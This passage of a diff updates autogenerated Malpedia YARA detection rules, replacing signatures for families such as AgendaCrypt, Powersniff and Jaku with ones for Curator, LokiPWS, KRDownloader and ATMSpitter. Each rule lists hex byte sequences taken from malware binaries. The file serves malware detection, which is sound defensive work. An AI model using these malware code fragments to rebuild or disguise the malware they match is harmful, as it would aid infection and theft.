-		logic_hash = "b4f726649ba175df63b497d8d60f55fe36fe0cd2719e493aac65ae353f8a7651"
+		logic_hash = "b778718a0682061dce35a7f47c0081e22977d884e10f4fca4ca7c1e5214e1ed2"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -149637,32 +156681,38 @@ rule MALPEDIA_Win_Agendacrypt_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { eb20 8b55ec 8975e8 89f1 57 53 e8???????? }
-		$sequence_1 = { 8d55b0 e8???????? eb25 c745b000000000 8d4dd0 8d55b0 e8???????? }
-		$sequence_2 = { c1e204 88443110 89f8 f7d0 c1e004 f30f7e0403 f30f7e4c0308 }
-		$sequence_3 = { c1c71a 31fa 8b7b04 89c3 339d70ffffff 0fcf 21cb }
-		$sequence_4 = { e9???????? 8d543210 8b7508 f20f104a30 f20f114e40 f20f104a28 f20f114e38 }
-		$sequence_5 = { f20f1101 8b55f0 8d4da8 ff7518 ff7514 ff7510 ff750c }
-		$sequence_6 = { f20f1145c8 0f82de010000 80ff0a 894804 0f85c9000000 8b7d0c 8b55ec }
-		$sequence_7 = { f20f114c2438 f20f108c2488000000 f20f11542430 f20f105028 f20f11442440 f20f115c2418 f20f1018 }
-		$sequence_8 = { e8???????? e9???????? ffb424fc000000 e8???????? e9???????? e8???????? 89c3 }
-		$sequence_9 = { ffd1 83c404 8b8c24a0190000 83790400 741f 8b84249c190000 83790809 }
+		$sequence_0 = { f7db 1bdb f7d3 235dfc 3bdf 7409 }
+		$sequence_1 = { 4a 75f0 8a043e 46 84c0 7669 0fb6c0 }
+		$sequence_2 = { 59 eb32 8bc8 837db806 }
+		$sequence_3 = { 59 7422 43 3b5e14 76e2 ff45fc 837dfc02 }
+		$sequence_4 = { 0f84f9010000 c645a443 c645a54d c645a644 }
+		$sequence_5 = { c645e968 c645ea65 c645eb6c c645ec6c c645ed5f c645ee54 c645ef72 }
+		$sequence_6 = { 7415 ff75f4 8bcb ff7604 }
+		$sequence_7 = { 8d0481 8b0438 03c7 3bc6 720e 8b4df0 03ce }
+		$sequence_8 = { ff742414 8bce ff5004 84c0 }
+		$sequence_9 = { 03df 8b03 03c7 33c9 3808 7407 }
+		$sequence_10 = { 8d0448 0fb70438 eb07 662b5e10 0fb7c3 8b4e1c }
+		$sequence_11 = { 83c604 4b 890411 75db eb0a }
+		$sequence_12 = { 33db 56 668945f4 83c002 33f6 3bd3 }
+		$sequence_13 = { 7e68 8b4d0c 8b4508 53 56 57 8b7d10 }
+		$sequence_14 = { 7409 8b01 6a01 ff10 897d0c }
+		$sequence_15 = { 8a4510 f6d8 1bc0 83e004 894510 e8???????? 3bc3 }
 
 	condition:
-		7 of them and filesize <3340288
+		7 of them and filesize <802816
 }
-rule MALPEDIA_Win_Comlook_Auto : FILE
+rule MALPEDIA_Win_Curator_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "860e6423-7c42-5b7a-b226-a660c40ee352"
+		id = "fc957193-82db-5d48-97f1-8bf3e9847701"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.comlook"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.comlook_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.curator"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.curator_auto.yar#L1-L131"
 		license_url = "N/A"
-		logic_hash = "4752c20623b9cb3b21f01ebe269fa3b02a3d0ecab0d63ba89a5af7bf48ed8b4a"
+		logic_hash = "a3bde063a66b4d9394e6eeb42680e73ad8b937005775febd69fd7690156b149c"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -149676,32 +156726,32 @@ rule MALPEDIA_Win_Comlook_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c1ff1f 03c1 13d7 2b442434 b900000000 1bd1 33ff }
-		$sequence_1 = { e8???????? 8d45e0 50 c645fc02 e8???????? 83c42c 8bd8 }
-		$sequence_2 = { ff15???????? 83c404 3bf4 e8???????? b843000000 e9???????? c7854cffffff00000000 }
-		$sequence_3 = { e8???????? 8b4e08 80791500 7579 8b01 80781401 7509 }
-		$sequence_4 = { c1ed08 036e04 25ff000000 036c2414 8906 8b0f 0fb6c0 }
-		$sequence_5 = { e9???????? 8b4518 0b451c 7509 33c0 33d2 e9???????? }
-		$sequence_6 = { e8???????? 83c408 85c0 7410 8b4508 8b4df8 894858 }
-		$sequence_7 = { e8???????? 8bf8 83c404 3bfb 0f8eab060000 c7463460210000 895e44 }
-		$sequence_8 = { e8???????? a1???????? 33c4 89442418 53 8b5c2424 8b435c }
-		$sequence_9 = { b8cccccccc 8945f0 8945f4 8945f8 8945fc 8b4508 0590050000 }
+		$sequence_0 = { 428a8c01e0590600 482bd0 8b42fc d3e8 49895708 41894718 0fb60a }
+		$sequence_1 = { 4903c1 483bc3 0f84b3000000 4983c004 413bca 72e0 488d6b10 }
+		$sequence_2 = { 7507 8bc6 e9???????? 44396728 0f8527010000 8d14f5ffffffff 488d4c2458 }
+		$sequence_3 = { 448b542424 be01000000 389c24b8000000 7449 385c2420 }
+		$sequence_4 = { 8b4308 25ffffff0f 3dffffff0f 740b 488b03 488bd8 4885c0 }
+		$sequence_5 = { 660f7ef9 d1c1 894a30 660f6dff 660f7ef9 c1c10a 890a }
+		$sequence_6 = { f60708 7505 4885c0 7508 48c7432000409901 488b5c2438 4883c420 }
+		$sequence_7 = { 4183fc01 740b 41bc01000000 e9???????? 488b4dd7 e8???????? 488b4ddf }
+		$sequence_8 = { 0f843ffeffff 488d55c0 488d4db0 e8???????? e9???????? 488d46ff 488905???????? }
+		$sequence_9 = { 0f4ed0 e8???????? 488d1517130400 488d4c2420 e8???????? cc }
 
 	condition:
-		7 of them and filesize <4553728
+		7 of them and filesize <1265664
 }
-rule MALPEDIA_Win_Powersniff_Auto : FILE
+rule MALPEDIA_Win_Quickmute_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "1afa4094-a9fd-5e6f-8667-60dff005c0b1"
+		id = "3ebd5405-d3fe-5b1c-9991-79b28ea4d116"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.powersniff"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.powersniff_auto.yar#L1-L129"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.quickmute"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.quickmute_auto.yar#L1-L113"
 		license_url = "N/A"
-		logic_hash = "7ad286ca27751eb193f2579d1930e5287fef0e22f2b28df0af9c7874b91d42c3"
+		logic_hash = "94d7bee668e9656185345d12aa56e27e4c1baa2644d60d5f43d4b597af8c5206"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -149715,34 +156765,34 @@ rule MALPEDIA_Win_Powersniff_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 53 ff35???????? 8945f8 895dfc }
-		$sequence_1 = { 8b45f4 b94d5a0000 663908 7405 6a0b 5b eb0f }
-		$sequence_2 = { 53 56 8b35???????? 57 8d85d8fdffff 50 33db }
-		$sequence_3 = { c1eb10 8975fc 8b75f8 c1ee18 8b34b590780010 0fb6db }
-		$sequence_4 = { 50 8d45f8 50 ff75fc e8???????? 8bd8 3bde }
-		$sequence_5 = { c745fc08000000 eb09 ff15???????? 8945fc 8b45fc 5f 5e }
-		$sequence_6 = { ff15???????? 8bf8 897df0 3bfb 7435 8d4508 50 }
-		$sequence_7 = { 55 8bec 83ec0c 8b473c 03c7 53 8b9880000000 }
-		$sequence_8 = { ff15???????? 85c0 0f84b4000000 8d8590feffff 50 ffd3 034574 }
-		$sequence_9 = { a1???????? 53 68???????? ff750c 8945f8 ff7508 }
+		$sequence_0 = { 6a00 ff15???????? 50 ff15???????? 5f c3 }
+		$sequence_1 = { 750c 8d4dd8 51 56 }
+		$sequence_2 = { 8d55c0 52 56 ffd7 a3???????? 833d????????00 c6854cffffff54 }
+		$sequence_3 = { 8d9578edffff 52 6a03 ff15???????? 3bc3 745c }
+		$sequence_4 = { 885dae 391d???????? 750c 8d4da8 }
+		$sequence_5 = { 56 68???????? ff15???????? 83c408 8b751c }
+		$sequence_6 = { 7510 53 6a40 ff15???????? 53 }
+		$sequence_7 = { c7459030002900 c7459420006c00 c7459869006b00 c7459c65002000 }
+		$sequence_8 = { 6a00 50 8946f8 ff15???????? }
+		$sequence_9 = { c78542ffffff63746f72 66c78546ffffff7957 c68548ffffff00 750f }
 
 	condition:
-		7 of them and filesize <90112
+		7 of them and filesize <146432
 }
-rule MALPEDIA_Win_Stinger_Auto : FILE
+rule MALPEDIA_Win_Red_Gambler_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "03e2d1ca-b846-5787-b683-28feb74dae3e"
+		id = "4317a3dc-c3fe-56b3-9554-1937ca266fd2"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stinger"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.stinger_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.red_gambler"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.red_gambler_auto.yar#L1-L292"
 		license_url = "N/A"
-		logic_hash = "64d2d0bb18e9f4889ac80d1e49c5ab473a950fa26645e6f561f71db4e8eb08f3"
+		logic_hash = "7119f21e00db57c2b9d697114a153bc44616294e27589a57d490b5463e3562f7"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -149754,32 +156804,54 @@ rule MALPEDIA_Win_Stinger_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8bec 81ec10000000 6804000080 6a00 8b5d08 }
-		$sequence_1 = { f6c441 0f854d010000 8b45f4 50 8b5d08 ff33 }
-		$sequence_2 = { 895df8 8965f4 ff75fc ff15???????? 90 90 }
-		$sequence_3 = { 6806000000 e8???????? 83c404 e9???????? 8be5 5d c21000 }
-		$sequence_4 = { e9???????? 68???????? 8b5d0c ff33 e8???????? 83c408 }
-		$sequence_5 = { a1???????? 85c0 891c85ecbe4000 750a }
-		$sequence_6 = { 6806000000 e8???????? 83c404 a3???????? 8965f8 68???????? }
-		$sequence_7 = { ff75fc 6802000000 bb94020000 e8???????? 83c41c 8945e8 }
-		$sequence_8 = { 6800000000 6800000000 68???????? ff35???????? 6800000000 ff15???????? 90 }
-		$sequence_9 = { 8b5d08 ff33 b902000000 e8???????? 83c408 8945f0 ff750c }
+		$sequence_0 = { 807e01a2 7535 807e02c3 752f 68???????? 68???????? ff15???????? }
+		$sequence_1 = { 68???????? c745ece80f13fc ffd6 a3???????? }
+		$sequence_2 = { 68ff000000 8d8df0fcffff 51 ff15???????? 85c0 }
+		$sequence_3 = { 3bf1 72bf 5e 33c0 5b }
+		$sequence_4 = { e8???????? 8bf8 83c404 83ffff 74e1 57 8d4c244c }
+		$sequence_5 = { 8d4c2414 51 6a40 6a07 }
+		$sequence_6 = { 68???????? 68???????? ffd6 5e 85c0 7505 }
+		$sequence_7 = { 894dec 8955f0 8945f4 ff15???????? }
+		$sequence_8 = { 2b2a bee7eee947 7c26 0e }
+		$sequence_9 = { 8d4d98 51 ff15???????? 8d5598 52 8d8598fdffff }
+		$sequence_10 = { 7456 7b78 cd50 d46e }
+		$sequence_11 = { bc340e65bc 691fd8727fcf 14cf fd }
+		$sequence_12 = { 9e e779 9e 54 }
+		$sequence_13 = { 51 ff15???????? 83c414 6a00 6a00 8d9598fbffff }
+		$sequence_14 = { ff15???????? 6800010000 8d8d98fdffff 51 8d9598feffff 52 }
+		$sequence_15 = { 52 8d8598fdffff 50 68???????? }
+		$sequence_16 = { 3c3d 9e e7bd e600 3e3e25162f062d }
+		$sequence_17 = { 6a00 6a00 8d9598fbffff 52 68???????? 6a00 6a00 }
+		$sequence_18 = { 50 4c 48 44 40 6c }
+		$sequence_19 = { 6800010000 8d8dfcfdffff 51 6a00 }
+		$sequence_20 = { 68???????? 8d8d98fbffff 68???????? 51 ff15???????? 83c414 }
+		$sequence_21 = { 7c0e 07 642827 3ccf }
+		$sequence_22 = { 8d9598feffff 52 ff15???????? 8d8594fbffff 50 8d4d98 51 }
+		$sequence_23 = { 6800010000 8d85fcfeffff 50 6a00 ff15???????? }
+		$sequence_24 = { 2f 74be 6f 665b }
+		$sequence_25 = { 68???????? ff15???????? 8b7508 c7465c486b4000 83660800 }
+		$sequence_26 = { 6888130000 ffd7 6800010000 8d95fcfeffff }
+		$sequence_27 = { 55 8bec 8b4508 ff34c5d0814000 }
+		$sequence_28 = { 8bf8 ffd3 8bd8 ffd7 8b3d???????? 6aff ffd7 }
+		$sequence_29 = { 83f805 7d10 668b4c4310 66890c4580974000 40 ebe8 }
+		$sequence_30 = { 6a5c 8d8dfcfeffff 51 ff15???????? }
+		$sequence_31 = { 8bec 8b4508 33c9 3b04cd10804000 }
 
 	condition:
-		7 of them and filesize <197096
+		7 of them and filesize <327680
 }
-rule MALPEDIA_Win_Komprogo_Auto : FILE
+rule MALPEDIA_Win_Ketrum_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "c2da7eb7-9058-5d5c-a1b3-cf7ec20183b8"
+		id = "675a5c68-35f7-5e7a-83cc-0627e32f2bf0"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.komprogo"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.komprogo_auto.yar#L1-L125"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ketrum"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ketrum_auto.yar#L1-L174"
 		license_url = "N/A"
-		logic_hash = "9104f7103ef4ffc58ac248efbbf51156333295a0a474355899a4b0ca03e1b39e"
+		logic_hash = "b179771de79024de54f910e3eea2ec187acafed93fd395a9caebde5421ab28f1"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -149793,32 +156865,38 @@ rule MALPEDIA_Win_Komprogo_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d8670720300 89861b630000 8d96f0a80300 8996e51d0300 8d8e40490400 }
-		$sequence_1 = { 8d86a82f0400 89862cb50200 8d86a8700300 89862cd50000 8d86f0380400 898616410200 8d8680720300 }
-		$sequence_2 = { 51 8d8618cf0300 8bcf e8???????? 83c404 }
-		$sequence_3 = { 8d96e4970300 899625080100 898633080100 8d96d0700300 8996e5650200 8d96f4380400 899643080100 }
-		$sequence_4 = { 8d9614790300 899694e70300 8d86242c0400 8986c1210300 8d86e15c0300 898636ca0000 8d86a8ad0300 }
-		$sequence_5 = { 0f859e000000 85f6 0f8496000000 8b433c 0fb7541814 }
-		$sequence_6 = { 898e47bd0200 8d8e20e20300 898e4f7e0200 8d9694a30300 899674750300 8d8ea82f0400 898e897e0200 }
-		$sequence_7 = { ff15???????? 8b95f0fdffff 8902 33db 85f6 7445 8bb5f0fdffff }
-		$sequence_8 = { 52 ffd7 8b85d0f3ffff 50 ffd7 8b4df8 5f }
-		$sequence_9 = { 8d86e0930200 8986d4930200 8d8ec1610300 898e14b20300 }
+		$sequence_0 = { 83e13f 5f 3bc8 7203 }
+		$sequence_1 = { 8d85fcebffff 50 8d85fcd3ffff 68???????? 50 ffd7 }
+		$sequence_2 = { ff15???????? ffb5f0cbffff ff15???????? ffb5e8cbffff ffb5f4cbffff }
+		$sequence_3 = { ab ab ab ab 68???????? 6a15 bf???????? }
+		$sequence_4 = { e8???????? 59 85db 7e15 57 8b7d08 2bfe }
+		$sequence_5 = { 33c0 0fb7f0 8bc6 c1e610 ba???????? }
+		$sequence_6 = { 7434 b9???????? 8bc1 8d7001 8a10 40 }
+		$sequence_7 = { 85c0 7404 33c0 eb5e 6880000000 56 }
+		$sequence_8 = { 397010 7699 837b1408 7204 8b13 eb02 }
+		$sequence_9 = { 8a4c181c 8888b0f74100 40 ebe9 33c0 8945e4 }
+		$sequence_10 = { 6a04 8d8520efffff 50 6a1f 57 }
+		$sequence_11 = { 8b8da4fdffff 2bc1 2bc6 50 03ce 51 }
+		$sequence_12 = { 3bf9 732c 8b16 3bd7 7726 8bc7 2bc2 }
+		$sequence_13 = { 8365fc00 83c074 50 8b4508 e8???????? }
+		$sequence_14 = { 89a570feffff 6a0f 5f 897e14 895e10 }
+		$sequence_15 = { 33ff 8d759c e8???????? 33c0 40 e8???????? }
 
 	condition:
-		7 of them and filesize <1045504
+		7 of them and filesize <4599808
 }
-rule MALPEDIA_Win_Marap_Auto : FILE
+rule MALPEDIA_Win_Lokipws_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "2cc3d8fa-aa39-5bef-af3b-a091606785c2"
+		id = "51c802c9-41e6-5018-92e7-bd3c468d0c8a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.marap"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.marap_auto.yar#L1-L114"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lokipws"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lokipws_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "981ff96ccf9321bc9cf0b93466d635ede7fbc6c0341e04e670ea58028783ac37"
+		logic_hash = "c67ee200474ecbc3881960b10110e8aa7bde902411981013b30687544f7cfcf3"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -149832,34 +156910,34 @@ rule MALPEDIA_Win_Marap_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e9???????? 8386e41d000002 e9???????? 8386e41d000003 }
-		$sequence_1 = { 7409 8386e41d000008 eb2f 84c0 7908 018ee41d0000 }
-		$sequence_2 = { ff15???????? 8bf0 89b59cfbffff 83feff 7472 }
-		$sequence_3 = { ff15???????? 85c0 7425 8b480c 8b11 8b02 }
-		$sequence_4 = { 81fb00040000 737e 8bc7 8bd7 668b08 }
-		$sequence_5 = { 0fbe84c1f8cb0010 6a07 c1f804 59 }
-		$sequence_6 = { 83c40c 8d7bfe 668b4702 83c702 6685c0 75f4 }
-		$sequence_7 = { 8d1c8580320110 8b03 83e71f c1e706 8a4c3824 }
-		$sequence_8 = { 8d4310 8d8954f40010 5a 668b31 }
-		$sequence_9 = { 80f901 0f8487000000 6683fa06 7519 84c0 }
+		$sequence_0 = { 55 8bec 83ec1c 6a2a 58 6a4d 668945e4 }
+		$sequence_1 = { 53 57 a3???????? e8???????? 68???????? 56 }
+		$sequence_2 = { 50 688b778dfe 50 e8???????? 8d4df8 }
+		$sequence_3 = { 6a00 ff75fc ff35???????? e8???????? 6a00 6a00 }
+		$sequence_4 = { 56 ff750c e8???????? 83c40c 85c0 7420 90 }
+		$sequence_5 = { 50 ff7508 8975fc e8???????? 8bf8 59 59 }
+		$sequence_6 = { 58 66895dc4 668975ca 66897dcc 66895dce 668955d0 66895dd2 }
+		$sequence_7 = { 6a02 e8???????? ff750c ff7508 ffd0 5d c3 }
+		$sequence_8 = { 668945f2 58 6a6e 668945f6 58 668945fa 33c0 }
+		$sequence_9 = { 83fe05 6a02 58 0f47f0 33db 43 3bf3 }
 
 	condition:
-		7 of them and filesize <188416
+		7 of them and filesize <1327104
 }
-rule MALPEDIA_Win_Op_Blockbuster_Auto : FILE
+rule MALPEDIA_Win_Krdownloader_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "25f80772-0fe0-5361-8b46-20a23fa9313b"
+		id = "5a82ae0a-fad8-52ec-9981-5ad40d1aeb9f"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.op_blockbuster"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.op_blockbuster_auto.yar#L1-L321"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.krdownloader"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.krdownloader_auto.yar#L1-L120"
 		license_url = "N/A"
-		logic_hash = "7067748769cd92b2df2df661ece0caacb6285e4ff10828657376fad1bbae3d46"
+		logic_hash = "4501a2b9e4a10b142f4eeab904974c078e1ef98420195596ba39d05922e3a30d"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -149871,58 +156949,34 @@ rule MALPEDIA_Win_Op_Blockbuster_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6a00 e8???????? 85c0 7407 83f802 }
-		$sequence_1 = { f3ab 66ab aa 5f 85f6 }
-		$sequence_2 = { ff15???????? 6808400000 6a40 ff15???????? }
-		$sequence_3 = { 56 57 683c400000 6a40 }
-		$sequence_4 = { e8???????? 6800400000 6a00 ff15???????? }
-		$sequence_5 = { c701???????? 8b497c 85c9 7407 51 }
-		$sequence_6 = { 8a08 80f920 7505 83c021 eb05 }
-		$sequence_7 = { 68???????? 56 ff15???????? 68???????? 56 a3???????? e8???????? }
-		$sequence_8 = { 56 50 8d45fc 6a04 50 }
-		$sequence_9 = { 7412 68???????? 50 e8???????? 59 a3???????? 59 }
-		$sequence_10 = { 3c70 7f04 0409 eb06 }
-		$sequence_11 = { 3c69 7c08 3c70 7f04 }
-		$sequence_12 = { 488b05???????? 4833c4 48898424d0030000 33c0 488be9 }
-		$sequence_13 = { c3 56 53 6a01 57 e8???????? }
-		$sequence_14 = { 56 6a00 ff15???????? 8bf8 85ff 7504 5f }
-		$sequence_15 = { 8bc6 5f 5e c3 33c0 6a00 }
-		$sequence_16 = { 33c0 ebac 498bcc ff15???????? 488d4d70 }
-		$sequence_17 = { ff15???????? 85f6 7404 85c0 }
-		$sequence_18 = { 57 e8???????? 56 e8???????? 83c414 b801000000 }
-		$sequence_19 = { 68???????? 56 e8???????? 56 e8???????? 83c438 }
-		$sequence_20 = { 0f84df010000 8b542444 488bcf 442bea 4585ed }
-		$sequence_21 = { ff15???????? 85c0 0f84e7010000 488d558c 488d8dd0020000 ff15???????? }
-		$sequence_22 = { c3 33c0 ebf8 53 33db 391d???????? 56 }
-		$sequence_23 = { a3???????? 5e c3 68???????? ff15???????? 85c0 }
-		$sequence_24 = { e8???????? 85c0 7429 488d542468 4c8bce 41b804000000 488bcf }
-		$sequence_25 = { 83fb01 7524 488d942490010000 4d8bc4 488bcd }
-		$sequence_26 = { 8b86d8974400 85c0 740e 50 e8???????? }
-		$sequence_27 = { 83e03f 6bc830 8b0495d8974400 f644082801 7421 57 e8???????? }
-		$sequence_28 = { c1fa06 8bc6 83e03f 6bc830 8b0495d8974400 885c0128 8b0495d8974400 }
-		$sequence_29 = { 81ec54080000 56 57 33f6 b9ff010000 33c0 8dbdaef7ffff }
-		$sequence_30 = { f3ab 8bca 83e103 f3aa 8b4df8 }
-		$sequence_31 = { 57 50 ff5114 85c0 0f8c8c000000 }
-		$sequence_32 = { ffd6 6a00 6a00 8d8424140c0000 6a00 }
-		$sequence_33 = { 58 7577 ff7508 8b7d08 }
+		$sequence_0 = { c645e161 c645e22e c645e370 c645e468 c645e570 c645e63f c645e76d }
+		$sequence_1 = { 8b4df4 8b09 e8???????? 8945f0 }
+		$sequence_2 = { 7528 8b45fc 0345f4 0fb6482c 51 68???????? }
+		$sequence_3 = { e8???????? 8945d8 8b4dfc 51 8b55f8 }
+		$sequence_4 = { 7418 8b4dec 0fbe11 0fbe45f3 3bd0 }
+		$sequence_5 = { 8955f0 8b45f0 8945f8 c745d800000080 817d1000000080 7310 }
+		$sequence_6 = { c745f001000000 eb28 837d0c00 7422 6a04 68???????? 8b4d0c }
+		$sequence_7 = { 89815c0d0300 8b55fc 8b82500d0300 50 ff15???????? }
+		$sequence_8 = { 735e 8b4dfc 8b5134 83ea01 3955f4 }
+		$sequence_9 = { 83c001 8945fc 817dfc6f020000 7d63 8b4dfc 8b55f8 }
 
 	condition:
-		7 of them and filesize <74309632
+		7 of them and filesize <352256
 }
-rule MALPEDIA_Win_Jaku_Auto : FILE
+rule MALPEDIA_Win_Atmspitter_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "2a488cc0-1b28-5098-bf2b-d901cf20342d"
+		id = "f9f02df1-a803-5665-939b-8200861b4172"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jaku"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.jaku_auto.yar#L1-L268"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.atmspitter"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.atmspitter_auto.yar#L1-L120"
 		license_url = "N/A"
-		logic_hash = "d05d79a0c954b2e0606ed773ff3f73ae5387638edb50352f452263cfa013d18a"
+		logic_hash = "97d22d23e6b57a565b78835f63d6efbbbb7ac3961285afa1ce44048c0fb5a727"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -149934,51 +156988,32 @@ rule MALPEDIA_Win_Jaku_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b466c 234634 8b4e40 8b5644 668b7e6c 0fb70441 }
-		$sequence_1 = { 0f84d0000000 8b4d1c 8b550c 0fb709 0fb71c4a }
-		$sequence_2 = { c70610000000 eb1f 56 e8???????? 837d0c06 59 }
-		$sequence_3 = { e8???????? 59 894660 59 837e6003 0f8223010000 }
-		$sequence_4 = { 56 8b7510 57 6a08 33c0 59 }
-		$sequence_5 = { 8b96a4160000 8a0408 8b8ea0160000 66892c4a 8b8e98160000 }
-		$sequence_6 = { 6a0f 58 8d4dc6 8b17 }
-		$sequence_7 = { 83c41c 84c0 742b 8b450c 85c0 }
-		$sequence_8 = { 68???????? ff15???????? c3 b8???????? e8???????? 83ec2c }
-		$sequence_9 = { ff742408 e8???????? c20800 8bc1 }
-		$sequence_10 = { 5b c3 55 8bec 833d????????00 53 56 }
-		$sequence_11 = { 53 68000000a0 6a03 53 }
-		$sequence_12 = { 6a01 03c3 68???????? 50 e8???????? 83c40c 85c0 }
-		$sequence_13 = { 7507 b800308000 eb02 33c0 }
-		$sequence_14 = { 7508 83c8ff e9???????? 8b839f830000 }
-		$sequence_15 = { 75dd 57 e8???????? 59 }
-		$sequence_16 = { 55 56 57 6880020000 }
-		$sequence_17 = { 0245fd 3245fe 8a4dff d2c8 }
-		$sequence_18 = { 016c242c 8b44242c 5f 5e 5d }
-		$sequence_19 = { 50 e8???????? 59 8b4e2c }
-		$sequence_20 = { 85f6 b301 0f8491000000 56 e8???????? }
-		$sequence_21 = { e8???????? 59 eb57 53 }
-		$sequence_22 = { 56 e8???????? 59 8b4620 }
-		$sequence_23 = { 8d4608 57 e8???????? 8365e000 }
-		$sequence_24 = { e8???????? 8b7dd8 397de8 7593 6804010000 8d8574feffff 50 }
-		$sequence_25 = { a4 ff839f830000 8b839f830000 8b8b97830000 8901 33c0 40 }
-		$sequence_26 = { ff75f4 66899e4d720000 8d9e8f7e0000 53 81c6917e0000 }
-		$sequence_27 = { 6a00 e8???????? 50 e8???????? b001 8b55b4 64891500000000 }
-		$sequence_28 = { 6a00 53 e8???????? 0fbe532e }
+		$sequence_0 = { a900800000 7422 68???????? e8???????? 83ec24 }
+		$sequence_1 = { 8be5 5d c3 8b5c2420 33c0 89442450 }
+		$sequence_2 = { 56 89442418 e8???????? 83c40c 8bf0 8974244c }
+		$sequence_3 = { a4 c744241831323000 88542422 c744242800000080 89442430 }
+		$sequence_4 = { 8b442410 50 53 8d4c2468 68???????? 51 ff15???????? }
+		$sequence_5 = { c3 8b04cd14c04000 5d c3 }
+		$sequence_6 = { 8975e0 8db190c84000 8975e4 eb2b 8a4601 }
+		$sequence_7 = { 6a03 6816011200 68???????? ff15???????? 6a02 6a00 8bf8 }
+		$sequence_8 = { 83c404 8d442420 50 ff15???????? a900800000 7422 }
+		$sequence_9 = { 6a00 57 ff15???????? 6a00 8d45fc }
 
 	condition:
